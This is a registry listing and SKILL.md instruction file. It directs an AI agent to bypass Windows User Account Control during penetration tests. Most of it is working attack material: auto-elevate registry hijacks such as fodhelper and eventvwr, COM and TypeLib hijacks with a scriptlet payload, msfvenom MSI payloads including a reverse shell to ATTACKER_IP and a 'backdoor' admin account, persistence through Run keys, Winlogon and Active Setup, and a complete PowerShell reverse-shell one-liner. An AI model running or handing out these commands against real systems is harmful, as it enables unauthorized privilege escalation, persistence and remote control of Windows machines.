blacklanternsecurity

windows-uac-bypass

Bypass Windows User Account Control to escalate from medium to high integrity.

blacklanternsecurity 208 24 Updated 3mo ago
GitHub

Install

npx skillscat add blacklanternsecurity/red-run/windows-uac-bypass

Install via the SkillsCat registry.

SKILL.md

Windows UAC Bypass

You are helping a penetration tester bypass User Account Control to escalate from
medium integrity to high integrity on a Windows system. All testing is under explicit
written authorization.

Engagement Logging

Check for ./engagement/ directory. If absent, proceed without logging.

When an engagement directory exists:

  • Print [windows-uac-bypass] Activated → <target> to the screen on activation.
  • Evidence → save significant output to engagement/evidence/ with
    descriptive filenames (e.g., sqli-users-dump.txt, ssrf-aws-creds.json).

Do NOT write to engagement/activity.md, engagement/findings.md, or
engagement state. The orchestrator maintains these files. Report all findings
in your return summary.

State Management

Call get_state_summary() from the state-reader MCP server to read current
engagement state. Use it to:

  • Skip re-testing targets, parameters, or vulns already confirmed
  • Leverage existing credentials or access for this technique
  • Understand what's been tried and failed (check Blocked section)

Do NOT write engagement state. When your work is complete, report all
findings clearly in your return summary. The orchestrator parses your summary
and records state changes. Your return summary must include:

  • New targets/hosts discovered (with ports and services)
  • New credentials or tokens found
  • Access gained or changed (user, privilege level, method)
  • Vulnerabilities confirmed (with status and severity)
  • Pivot paths identified (what leads where)
  • Blocked items (what failed and why, whether retryable)

Prerequisites

  • Local administrator group membership (but running at medium integrity)
  • UAC enabled (EnableLUA = 1 in registry)
  • UAC not set to "Always Notify" (ConsentPromptBehaviorAdmin != 2) for auto-elevating bypasses
  • cmd.exe or PowerShell access

Step 1: Assess UAC Configuration

Check current integrity level and UAC settings before choosing a bypass.

Current integrity level:

whoami /groups | findstr "Mandatory"
  • Medium Mandatory Level → UAC bypass needed
  • High Mandatory Level → already elevated, no bypass needed
  • System Mandatory Level → SYSTEM, no bypass needed

UAC settings:

reg query HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v ConsentPromptBehaviorAdmin
reg query HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v EnableLUA
reg query HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v LocalAccountTokenFilterPolicy
ConsentPromptBehaviorAdmin Meaning Bypass Feasibility
0 Elevate without prompting No bypass needed
1 Prompt for credentials on secure desktop Hard — auto-elevate bypasses blocked
2 Always prompt (Always Notify) Hardest — most auto-elevate blocked
5 Prompt for consent (default) Standard — auto-elevate bypasses work

If EnableLUA = 0, UAC is entirely disabled — no bypass needed.

If LocalAccountTokenFilterPolicy = 1, remote connections get full admin tokens.

OS version (determines which bypasses work):

ver
systeminfo | findstr /B /C:"OS Name" /C:"OS Version" /C:"System Type"

Step 2: Auto-Elevating Binary Bypass

These techniques hijack auto-elevating Windows binaries that read command paths from
HKCU registry keys (writable without admin). The pattern is: write registry → trigger
binary → payload runs at high integrity → cleanup.

Fodhelper.exe (Windows 10/11, Server 2016+)

Most reliable modern bypass. Fodhelper is an auto-elevating binary that reads
ms-settings shell command from HKCU.

# Write payload to registry
New-Item -Path "HKCU:\Software\Classes\ms-settings\Shell\Open\command" -Force
New-ItemProperty -Path "HKCU:\Software\Classes\ms-settings\Shell\Open\command" -Name "DelegateExecute" -Value "" -Force
Set-ItemProperty -Path "HKCU:\Software\Classes\ms-settings\Shell\Open\command" -Name "(default)" -Value "cmd.exe /c start powershell.exe" -Force

# Trigger (launches payload at high integrity)
Start-Process "C:\Windows\System32\fodhelper.exe" -WindowStyle Hidden

# Cleanup
Remove-Item -Path "HKCU:\Software\Classes\ms-settings" -Recurse -Force
:: CMD equivalent
reg add "HKCU\Software\Classes\ms-settings\Shell\Open\command" /d "cmd.exe /c start cmd.exe" /f
reg add "HKCU\Software\Classes\ms-settings\Shell\Open\command" /v DelegateExecute /t REG_SZ /d "" /f
C:\Windows\System32\fodhelper.exe
:: Cleanup
reg delete "HKCU\Software\Classes\ms-settings" /f

Reverse shell variant:

Set-ItemProperty -Path "HKCU:\Software\Classes\ms-settings\Shell\Open\command" -Name "(default)" -Value "powershell -ep bypass -e <BASE64_PAYLOAD>" -Force

Eventvwr.exe (Windows 7/8/10, Server 2008+)

Event Viewer reads mscfile handler from HKCU before HKCR.

New-Item -Path "HKCU:\Software\Classes\mscfile\shell\open\command" -Force
Set-ItemProperty -Path "HKCU:\Software\Classes\mscfile\shell\open\command" -Name "(default)" -Value "cmd.exe /c start powershell.exe" -Force

Start-Process "C:\Windows\System32\eventvwr.exe" -WindowStyle Hidden

# Cleanup
Remove-Item -Path "HKCU:\Software\Classes\mscfile" -Recurse -Force

Sdclt.exe (Windows 10)

Backup and Restore utility reads Folder\shell\open\command from HKCU.

reg add "HKCU\Software\Classes\Folder\shell\open\command" /d "cmd.exe /c start cmd.exe" /f
reg add "HKCU\Software\Classes\Folder\shell\open\command" /v DelegateExecute /t REG_SZ /d "" /f
sdclt.exe
:: Cleanup
reg delete "HKCU\Software\Classes\Folder" /f

ComputerDefaults.exe (Windows 10)

Uses ms-settings handler — same registry path as fodhelper.

reg add "HKCU\Software\Classes\ms-settings\Shell\Open\command" /d "cmd.exe" /f
reg add "HKCU\Software\Classes\ms-settings\Shell\Open\command" /v DelegateExecute /t REG_SZ /d "" /f
computerdefaults.exe
reg delete "HKCU\Software\Classes\ms-settings" /f

CMSTP.exe (Windows 7+)

Connection Manager Profile Installer — executes commands from INF file.

# Create INF file
$inf = @"
[version]
Signature=`$chicago`$
AdvancedINF=2.5
[DefaultInstall]
CustomDestination=CustInstDestSectionAllUsers
[CustInstDestSectionAllUsers]
49000,49001=AllUSer_LDIDSection, 7
[AllUSer_LDIDSection]
"HKLM", "SOFTWARE\Microsoft\Windows\CurrentVersion\App Paths\CMMGR32.EXE", "ProfileInstallPath", "%UnexpectedError%", ""
[Strings]
ServiceName="CorpVPN"
ShortSvcName="CorpVPN"
"@
$inf | Out-File "$env:TEMP\evil.inf"

# Trigger (may show brief UI)
cmstp.exe /s /au "$env:TEMP\evil.inf"

Note: CMSTP may flash a dialog briefly — less stealthy than fodhelper/eventvwr.

DiskCleanup / SilentCleanup (Windows 10)

SilentCleanup is a scheduled task that auto-elevates and uses the %windir%
environment variable.

:: Check if task exists
schtasks /query /tn "\Microsoft\Windows\DiskCleanup\SilentCleanup" /v

:: Hijack windir environment variable
reg add "HKCU\Environment" /v windir /d "cmd.exe /c start cmd.exe &&" /t REG_SZ /f

:: Trigger the scheduled task
schtasks /run /tn "\Microsoft\Windows\DiskCleanup\SilentCleanup"

:: Cleanup
reg delete "HKCU\Environment" /v windir /f

WSReset.exe (Windows 10 1803+)

Windows Store reset utility — auto-elevates with file execution.

:: Create payload directory and file
set "dir=%LOCALAPPDATA%\Packages\Microsoft.WindowsStore_8wekyb3d8bbwe\LocalState"
:: WSReset executes delegate COM object — hijack via ms-settings (same as fodhelper)
reg add "HKCU\Software\Classes\AppX82a6gwre4fdg3bt635ber5xkncbhfar3\Shell\open\command" /d "cmd.exe" /f
reg add "HKCU\Software\Classes\AppX82a6gwre4fdg3bt635ber5xkncbhfar3\Shell\open\command" /v DelegateExecute /t REG_SZ /d "" /f
WSReset.exe
:: Cleanup
reg delete "HKCU\Software\Classes\AppX82a6gwre4fdg3bt635ber5xkncbhfar3" /f

Bypass Decision Table

Technique Windows Version Reliability OPSEC
Fodhelper 10/11, 2016+ High Low (registry + process)
Eventvwr 7/8/10, 2008+ High Low
SilentCleanup 10 High Low (env var + task)
Sdclt 10 Medium Low
ComputerDefaults 10 Medium Low
CMSTP 7+ Medium Medium (may flash UI)
WSReset 10 1803+ Medium Low
DiskCleanup 10 Medium Low

Step 3: COM Hijacking

COM hijacking exploits the registry lookup order — HKCU is checked before HKLM for
COM CLSIDs. By creating an InprocServer32 entry in HKCU for a COM object that a
privileged process loads, you get code execution in that process context.

Find Hijackable CLSIDs

Via Process Monitor (interactive):

Set filters:

  • Operation: RegOpenKey
  • Result: NAME NOT FOUND
  • Path ends with: InprocServer32

Look for COM objects loaded by scheduled tasks or explorer.exe.

Via scheduled task enumeration:

# Find CLSIDs used by scheduled tasks
$Tasks = Get-ScheduledTask
foreach ($Task in $Tasks) {
    if ($Task.Actions.ClassId -ne $null) {
        if ($Task.Triggers.Enabled -eq $true) {
            $clsid = $Task.Actions.ClassId
            $exists = Test-Path "HKCU:\Software\Classes\CLSID\$clsid"
            if (-not $exists) {
                Write-Host "Hijackable: $clsid ($($Task.TaskName))"
            }
        }
    }
}

Hijack a CLSID

# Create HKCU entry (takes precedence over HKLM)
$clsid = "{CLSID-FROM-ENUMERATION}"
New-Item -Path "HKCU:\Software\Classes\CLSID\$clsid\InprocServer32" -Force
Set-ItemProperty -Path "HKCU:\Software\Classes\CLSID\$clsid\InprocServer32" -Name "(default)" -Value "C:\path\to\payload.dll" -Force
New-ItemProperty -Path "HKCU:\Software\Classes\CLSID\$clsid\InprocServer32" -Name "ThreadingModel" -Value "Both" -Force

Cleanup:

Remove-Item -Path "HKCU:\Software\Classes\CLSID\$clsid" -Recurse -Force

COM TypeLib Hijacking

An alternative that uses TypeLib resolution instead of InprocServer32. Point a
per-user TypeLib entry to a scriptlet (.sct) file.

# Find TypeLib for a frequently loaded COM object
$clsid = '{EAB22AC0-30C1-11CF-A7EB-0000C05BAE0B}'  # Microsoft Web Browser
$libid = (Get-ItemProperty "Registry::HKCR\CLSID\$clsid\TypeLib").'(default)'
$ver = (Get-ChildItem "Registry::HKCR\TypeLib\$libid" | Select-Object -First 1).PSChildName

# Create per-user TypeLib entry pointing to scriptlet
New-Item -Path "HKCU:\Software\Classes\TypeLib\$libid\$ver\0\win32" -Force
Set-ItemProperty -Path "HKCU:\Software\Classes\TypeLib\$libid\$ver\0\win32" -Name '(default)' -Value "script:C:\ProgramData\payload.sct"

Scriptlet payload (payload.sct):

<?xml version="1.0"?>
<scriptlet>
  <registration progid="Updater" classid="{F0001111-0000-0000-0000-0000FEEDFACE}"/>
  <script language="JScript">
    <![CDATA[
      var sh = new ActiveXObject('WScript.Shell');
      sh.Run('cmd.exe /c C:\\Windows\\Temp\\payload.exe', 0, false);
    ]]>
  </script>
</scriptlet>

Cleanup:

Remove-Item -Recurse -Force "HKCU:\Software\Classes\TypeLib\$libid\$ver"
Remove-Item -Force 'C:\ProgramData\payload.sct'

Step 4: AlwaysInstallElevated

If both HKCU and HKLM AlwaysInstallElevated keys are set to 0x1, any user can
install MSI packages as NT AUTHORITY\SYSTEM.

Check

reg query HKCU\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated
reg query HKLM\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated

Both must return 0x1. If either is missing or 0x0, this vector is not available.

# PowerUp check
Get-RegistryAlwaysInstallElevated

Generate MSI Payload

# Reverse shell MSI
msfvenom -p windows/x64/shell_reverse_tcp LHOST=ATTACKER_IP LPORT=443 -f msi -o evil.msi

# Add local admin MSI
msfvenom -p windows/adduser USER=backdoor PASS=P@ssw0rd123! -f msi -o adduser.msi

Install (runs as SYSTEM)

msiexec /quiet /qn /i evil.msi

Custom WiX MSI (more control)

<?xml version="1.0"?>
<Wix xmlns="http://schemas.microsoft.com/wix/2006/wi">
  <Product Id="*" UpgradeCode="12345678-1234-1234-1234-111111111111"
           Name="Update" Version="0.0.1" Manufacturer="Microsoft" Language="1033">
    <Package InstallerVersion="200" Compressed="yes"/>
    <Media Id="1" Cabinet="product.cab" EmbedCab="yes"/>
    <Directory Id="TARGETDIR" Name="SourceDir">
      <Directory Id="ProgramFilesFolder">
        <Directory Id="INSTALLLOCATION" Name="Update">
          <Component Id="ApplicationFiles" Guid="12345678-1234-1234-1234-222222222222"/>
        </Directory>
      </Directory>
    </Directory>
    <Feature Id="DefaultFeature" Level="1">
      <ComponentRef Id="ApplicationFiles"/>
    </Feature>
    <Property Id="cmdline">cmd.exe /C "C:\Windows\Temp\payload.exe"</Property>
    <CustomAction Id="RunPayload" Execute="deferred" Directory="TARGETDIR"
                  ExeCommand='[cmdline]' Return="ignore" Impersonate="no"/>
    <InstallExecuteSequence>
      <Custom Action="RunPayload" After="InstallInitialize"/>
    </InstallExecuteSequence>
  </Product>
</Wix>
# Build MSI from WiX
candle.exe -out C:\tmp\wix C:\tmp\msi.xml
light.exe -out C:\tmp\evil.msi C:\tmp\wix

MSI Repair Exploitation

Trigger repair of an already-installed MSI that runs custom actions as SYSTEM:

# Find installed MSI product codes
Get-WmiObject Win32_Product | Select-Object Name, IdentifyingNumber, LocalPackage

# Trigger repair (runs custom actions as SYSTEM)
msiexec /fa {PRODUCT-GUID-HERE}

Step 5: Autorun Exploitation

If writable binaries or registry keys are referenced by autorun mechanisms, replace
them with payloads that execute on next logon (potentially as a different/higher
privileged user).

Startup Folders

:: Check permissions on startup folders
icacls "C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Startup"
icacls "%APPDATA%\Microsoft\Windows\Start Menu\Programs\Startup"

If writable, drop a payload:

copy payload.exe "C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Startup\"

The all-users startup folder (C:\ProgramData\...) executes for every user at logon.

Registry Run Keys

:: Check existing entries
reg query HKLM\Software\Microsoft\Windows\CurrentVersion\Run
reg query HKCU\Software\Microsoft\Windows\CurrentVersion\Run
reg query HKLM\Software\Microsoft\Windows\CurrentVersion\RunOnce
reg query HKCU\Software\Microsoft\Windows\CurrentVersion\RunOnce

HKCU is always writable by the current user:

reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Run" /v Updater /t REG_SZ /d "C:\Windows\Temp\payload.exe" /f

HKLM requires admin but escalates on next logon of any user:

reg add "HKLM\Software\Microsoft\Windows\CurrentVersion\Run" /v Updater /t REG_SZ /d "C:\Windows\Temp\payload.exe" /f

Writable Autorun Binaries

Check if any binaries referenced by Run keys or startup folders are writable:

# Get all Run key paths
$paths = @()
$paths += (Get-ItemProperty "HKLM:\Software\Microsoft\Windows\CurrentVersion\Run" -ErrorAction SilentlyContinue).PSObject.Properties | Where-Object { $_.Name -ne "PSPath" -and $_.Name -ne "PSParentPath" -and $_.Name -ne "PSChildName" -and $_.Name -ne "PSProvider" } | ForEach-Object { $_.Value }
$paths += (Get-ItemProperty "HKCU:\Software\Microsoft\Windows\CurrentVersion\Run" -ErrorAction SilentlyContinue).PSObject.Properties | Where-Object { $_.Name -ne "PSPath" -and $_.Name -ne "PSParentPath" -and $_.Name -ne "PSChildName" -and $_.Name -ne "PSProvider" } | ForEach-Object { $_.Value }

foreach ($p in $paths) {
    $exe = ($p -split '"')[1]
    if (-not $exe) { $exe = ($p -split ' ')[0] }
    if (Test-Path $exe) { icacls $exe }
}

If a binary has (F) or (M) for your user/group, replace it with a payload.

Winlogon Keys

reg query "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon" /v Userinit
reg query "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon" /v Shell

Userinit default: userinit.exe — append a comma and your payload path.
Shell default: explorer.exe — replace or append.

Active Setup

Executes before Run keys at logon — higher priority persistence.

reg query "HKLM\SOFTWARE\Microsoft\Active Setup\Installed Components" /s /v StubPath

If writable, add a StubPath entry:

reg add "HKLM\SOFTWARE\Microsoft\Active Setup\Installed Components\{GUID}" /v StubPath /t REG_SZ /d "C:\Windows\Temp\payload.exe" /f

Step 6: Escalate or Pivot

Reverse Shell via MCP

When UAC bypass achieves elevated execution, catch the elevated shell via the
MCP shell-server
rather than relying on the auto-elevating binary to spawn a
visible console window. The bypassed process runs at high integrity in a
different window station -- a reverse shell lets the agent interact with it.

  1. Call start_listener(port=4444) to prepare a catcher on the attackbox
  2. Set the UAC bypass payload to a reverse shell:
    # Fodhelper / Eventvwr / Sdclt bypass — set registry command to:
    Set-ItemProperty -Path "HKCU:\Software\Classes\ms-settings\Shell\Open\command" `
      -Name "(default)" `
      -Value "powershell -nop -c `"$client = New-Object System.Net.Sockets.TCPClient('ATTACKER',PORT);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0,$i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + 'PS ' + (pwd).Path + '> ';$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()`"" -Force
  3. Call stabilize_shell(session_id=...) to upgrade to interactive PTY
  4. Verify the new privilege level with send_command(session_id=..., command="whoami /groups | findstr High")

If the target lacks outbound connectivity, use the bypass to launch a local
elevated cmd.exe and interact through an existing session, or use a base64-
encoded bind shell payload.

After achieving high integrity:

  • Need SYSTEM: Route to windows-token-impersonation (use high-integrity context
    to run Potato exploits or token manipulation)
  • Service/DLL misconfigurations found: Route to windows-service-dll-abuse
  • Credentials needed: Route to windows-credential-harvesting (DPAPI, SAM, vaults
    now accessible at high integrity)
  • Domain escalation: Route to ad-discovery for domain enumeration
  • Persist access: Use autorun techniques from Step 5 for persistence

When routing, pass along: hostname, OS version, current integrity level (high).

Stall Detection

If you have spent 5 or more tool-calling rounds on the same failure with
no meaningful progress — same error, no new information, no change in output
stop.

What counts as progress:

  • Trying a variant or alternative documented in this skill
  • Adjusting syntax, flags, or parameters per the Troubleshooting section
  • Gaining new diagnostic information (different error, partial success)

What does NOT count as progress:

  • Writing custom exploit code not provided in this skill
  • Inventing workarounds using techniques from other domains
  • Retrying the same command with trivially different input
  • Compiling or transferring tools not mentioned in this skill

If you find yourself writing code that isn't in this skill, you have left
methodology. That is a stall.

Do not loop. Work through failures systematically:

  1. Try each variant or alternative once
  2. Check the Troubleshooting section for known fixes
  3. If nothing works after 5 rounds, you are stalled

When stalled, return to the orchestrator immediately with:

  • What was attempted (commands, variants, alternatives tried)
  • What failed and why (error messages, empty responses, timeouts)
  • Assessment: blocked (permanent — config, patched, missing prereq) or
    retry-later (may work with different context, creds, or access)

When stalled: Tell the user you're stalled, present what was tried, and
recommend the next best path. Return findings to the orchestrator — it will
decide whether to revisit with new context or route elsewhere.

Troubleshooting

"Always Notify" UAC blocks auto-elevate bypasses

Auto-elevating binaries (fodhelper, eventvwr, etc.) are blocked when
ConsentPromptBehaviorAdmin = 2. Use COM hijacking or AlwaysInstallElevated instead,
or try CMSTP which works differently.

Bypass works but payload blocked by AppLocker/WDAC

Use living-off-the-land binaries (LOLBins) as the payload instead of custom executables.
MSBuild, InstallUtil, or regsvcs can execute arbitrary .NET code without dropping an EXE.

Registry changes not taking effect

Ensure you're writing to the correct registry hive (HKCU vs HKLM). Use reg query
to verify the value was written. Some bypasses require the DelegateExecute value
to be explicitly set (even if empty).

Fodhelper opens Settings app instead of payload

The DelegateExecute value must exist and be empty. If missing, Windows uses the
default handler. Verify with:

reg query "HKCU\Software\Classes\ms-settings\Shell\Open\command"